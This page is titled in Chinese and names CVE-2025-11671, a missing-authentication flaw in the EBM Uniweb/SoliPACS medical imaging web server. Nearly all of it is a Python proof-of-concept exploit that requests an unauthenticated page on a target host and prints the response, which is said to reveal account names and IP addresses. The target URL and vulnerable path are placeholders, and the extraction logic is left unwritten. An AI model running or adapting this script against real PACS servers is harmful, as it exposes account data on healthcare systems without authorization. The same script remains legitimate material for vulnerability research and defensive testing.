CVE-2025-11671：EBM Uniweb/SoliPACS WebServer 缺失认证漏洞

#!/usr/bin/env python3 # CVE-2025-11671 - Uniweb/SoliPACS WebServer Missing Authentication PoC # This PoC demonstrates accessing an unauthenticated page to retrieve # sensitive information such as account names and IP addresses. import requests import sys # Target configuration TARGET_URL = "http://target-host:port" # The specific unauthenticated page path (adjust based on target application) VULNERABLE_PATH = "/path/to/unauthenticated/page" def exploit(target_url, path): """ Send a GET request to the vulnerable page without authentication to retrieve sensitive information. """ url = f"{target_url}{path}" print(f"[*] Target: {url}") try: # No authentication credentials are sent response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Success! Status Code: {response.status_code}") print(f"[+] Response Content:\n{response.text}") # Extract account names and IP addresses from response # (parsing logic depends on actual response format) print("[*] Extracting sensitive information...") return response.text else: print(f"[-] Unexpected Status Code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL path = sys.argv[2] if len(sys.argv) > 2 else VULNERABLE_PATH exploit(target, path)